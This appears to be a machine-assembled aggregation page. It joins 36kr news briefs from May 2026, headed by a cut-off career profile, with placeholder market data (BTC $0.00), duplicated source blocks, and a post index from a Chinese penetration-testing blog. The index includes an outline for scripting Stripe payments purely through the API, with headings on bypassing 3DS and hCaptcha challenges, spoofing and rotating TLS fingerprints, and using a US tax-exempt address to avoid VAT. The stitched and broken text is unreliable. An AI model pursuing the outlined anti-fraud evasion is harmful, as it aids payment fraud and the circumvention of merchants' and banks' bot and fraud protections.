直面高压：选择在电商大促的硝烟中验证操盘能力年龄：30-31岁｜年薪：25-30万元 2015年春夏之交，于成龙加入180China——正是那次京东竞标，让他拿到了这家公司的offer——负责180-京东事业部，为京东提供传统与数字整合营销咨询。不同于正邦，180China的节奏更快，要求更高。电商大促期间，压力呈几何

文章来源

标题: 裸辞九个月，降薪跳槽，一个80后营销人如何“上岸甲方”？｜百万年薪系列013
来源: tech
链接: https://36kr.com/p/3816036564147718?f=rss
时间: 2026-05-19 17:55:09 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3816036564147718?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-19T12:00:53.359844+00:00

氪星晚报｜SpaceX即将成为马斯克旗下第二家上市公司；京东、洋河集团等在宿迁成立新动能股权投资基金，出资额10亿

Tue, 19 May 2026 12:00:46 +0000

原文摘要

大公司：圆通速递：4月快递产品收入60.71亿元，同比增长5.49%36氪获悉，圆通速递公告，4月快递产品收入60.71亿元，同比增长5.49%；业务完成量27.26亿票，同比增长1.22%；快递产品单票收入2.23元，同比增长4.21%。哔哩哔哩：一季度营收74.7亿元，日均活跃用户1.15亿 36氪获悉，哔哩哔哩（以下简称“B站”）公布了截至2026年3月31日第一季度财务报告。财报显示，B站一季度总营收为74.7亿元人民币。日均活跃用户为1.15亿，同比增长8%；日均使用时长提升至119分钟，创历史新高。毛利率连续15个季度环比提升至37.1%，调整后净利润5.9亿元，同比增长62%。金浦钛业：公司目前没有电池投资计划金浦钛业5月19日在业绩说明会上表示，2026年新能源公司能否实现盈利受多种因素影响，具有不确定性。此外，公司目前没有电池投资计划。（证券时报）投融资：温氏股份：预计2026年中华土鸡（黄羽肉鸡）价格将好于2025年36氪获悉，温氏股份在互动平台表示，过去几年，中华土鸡（黄羽肉鸡）行业处于周期低谷期。按照过往周期规律，结合消费市场情况，公司对2026年中华土鸡（黄羽肉鸡）行情持相对乐观态度，预计2026年中华土鸡（黄羽肉鸡）价格将好于2025年。养鸡业务盈利确定性高于养猪业务。以上仅为公司预测，不构成对经营业绩的承诺，请投资者注意投资风险。京东、洋河集团等在宿迁成立新动能股权投资基金，出资额10亿 36氪获悉，天眼查App显示，5月19日，宿迁新动能股权投资基金（有限合伙）成立，执行事务合伙人为宿迁知周企业管理有限公司，出资额10亿人民币，经营范围为股权投资，以私募基金从事股权投资、投资管理、资产管理等活动。合伙人信息显示，该基金由江苏洋河集团有限公司、宿迁裕丰产业投资发展管理集团有限公司、京东旗下宿迁辉远投资管理有限公司、江苏洋河投资管理有限公司、宿迁天智时代企业管理有限公司、宿迁知周企业管理有限公司共同出资。 SpaceX即将成为马斯克旗下第二家上市公司，特斯拉可能遭边缘化随着SpaceX启动IP0进程，市场将为投资者提供切入“马斯克经济”的新入口。华尔街专业人士认为，投资者的注意力和资金将不可避免地从特斯拉分流至向这家新上市公司。Integrity Asset Management投资组合经理Gilbert表示：“这对特斯拉绝对不是好事，我们认为马斯克的重心将更多转向SpaceX。虽然他过去能同时兼顾多个项目，但感觉SpaceX是他倾注心血的‘宠儿’，而特斯拉可能被边缘化。”（财联社）新产品：腾讯云发布大数据Agent工作台DataBuddy 36氪获悉，腾讯云正式发布大数据智能体工作台DataBuddy。这是一款基于WorkBuddy同源Agent底层能力打造的大数据原生智能体工作台，用户通过自然语言对话，即可完成接入→开发→治理→分析全链路数据任务。 Stellantis计划与零跑汽车在意大利生产平价电动车据知情人士透露，Stellantis正计划与中国的零跑汽车在意大利联合生产一款紧凑型电动汽车，以降低成本并获取更具竞争力的技术。Stellantis周二表示，这款名为E-Car的车型将于2028年开始在意大利的工厂投产，零跑汽车是该项目的主要合作方。（财联社）今日观点：市场监管总局：“四新经济”个体工商户超4000万户记者今天（19号）从市场监管总局发布会获悉，个体工商户是民营经济的重要组成部分，是我国数量最多的经营主体。截至2025年底，我国“四新经济”个体工商户达到4010.9万户，连续五年保持增长态势。（央视新闻）其他值得关注的新闻：国家发改委：强化企业科技创新主体地位，推动资源、场景向民营企业开放共享 36氪获悉，国家发改委印发“法治护航民营经济”行动方案，方案提出，因地制宜开展发展赋能专项行动。强化企业科技创新主体地位，推动资源、场景向民营企业开放共享，支持民营企业依法依规参与国家重大项目，为民营企业引进、培养急需紧缺人才提供支持等。

文章来源

标题: 氪星晚报｜SpaceX即将成为马斯克旗下第二家上市公司；京东、洋河集团等在宿迁成立新动能股权投资基金，出资额10亿
来源: tech
链接: https://36kr.com/p/3816109626138119?f=rss
时间: 2026-05-19 19:08:52 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3816109626138119?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-19T12:00:46.251892+00:00

裸辞九个月，降薪跳槽，一个80后营销人如何“上岸甲方”？｜百万年薪系列013

Tue, 19 May 2026 12:00:41 +0000

原文摘要

文章来源

标题: 裸辞九个月，降薪跳槽，一个80后营销人如何“上岸甲方”？｜百万年薪系列013
来源: ai
链接: https://36kr.com/p/3816036564147718?f=rss
时间: 2026-05-19 17:55:09 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3816036564147718?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-19T12:00:41.114518+00:00

Posts on 逍遥笔记

Hello World | 开启 Web 渗透测试之旅

联系逍遥

Hello World | 开启 Web 渗透测试之旅

🎉 博客启用

📝 博客定位

🎯 内容方向

1. 漏洞复现系列

2. 工具教程系列

3. SRC 挖洞经验

📚 关于我

⚠️ 免责声明

404 Not Found - 当爱情遭遇渗透测试

联系逍遥

404 Not Found - 当爱情遭遇渗透测试

1. 初始连接 - HTTPS 握手

2. 防火墙策略 - 心防

3. 漏洞挖掘 - 寻找突破口

4. APT 攻击 - 持久化渗透

5. 404 Not Found - 连接失败

6. 日志分析 - 事后审计

7. 漏洞报告 - 感情总结

8. 安全加固 - 自我修复

9. 渗透测试总结

10. 最后的响应

502 Bad Gateway - 当理想遭遇现实

联系逍遥

502 Bad Gateway - 当理想遭遇现实

架构设计 - 理想的蓝图

上游服务器 - 现实的崩溃

错误日志

修复方案

人生感悟

Stripe 协议支付自动化深度拆解：从 HAR 抓包到纯 API 全链路实现

联系逍遥

前言

零、方法论：如何逆向 Stripe 支付协议

0.1 什么是 HAR 文件

0.2 HAR 分析流程

0.3 经过验证的 HAR 请求链路

一、为什么要做"协议支付"

二、Stripe Checkout Session 的两种模式

2.1 Custom 模式 (oaics_ 前缀)

2.2 Hosted 模式 (cs_live_ 前缀)

2.3 决定性参数：checkout_ui_mode

2.4 _stripe_version 的版本差异

2.5 两种模式的完整字段对比

三、Custom 模式协议流程详解

3.1 创建 ConfirmationToken

卡号格式细节

guid/muid/sid 格式

Attribution 元数据（两层结构）

请求头

3.2 确认 Checkout

3.3 Elements Session — 获取支付配置

3.4 税务地址优化 — US 免税地址消除 VAT

3.5 PaymentIntent 确认 — Stripe 侧扣款

PI 拒卡重试

3.6 Cookie 隔离架构

四、Hosted 模式协议流程详解

4.1 Payment Page 初始化

4.2 Elements Session（Hosted 模式特殊字段）

4.3 Hosted 模式的 Confirm 请求

4.4 Approve 机制与 Sentinel Token

Sentinel Token 结构

Sentinel Token 生成流程

Approve 的正确时机

五、3DS 验证挑战

5.1 Challenge 类型

5.2 verify_challenge 完整请求格式

5.3 hCaptcha Enterprise 的特殊性

5.4 时效性问题

5.5 3DS vs hCaptcha 的区别

六、TLS 指纹对抗

6.1 指纹伪装

6.2 指纹轮换策略

6.3 TLS 指纹与 User-Agent 一致性

6.4 HTTP 协议版本

七、Stripe.js 指纹参数

7.1 m.stripe.com/6 — 指纹注册

2.1 Custom 模式 (`oaics_` 前缀)

2.2 Hosted 模式 (`cs_live_` 前缀)

2.3 决定性参数：`checkout_ui_mode`

2.4 `_stripe_version` 的版本差异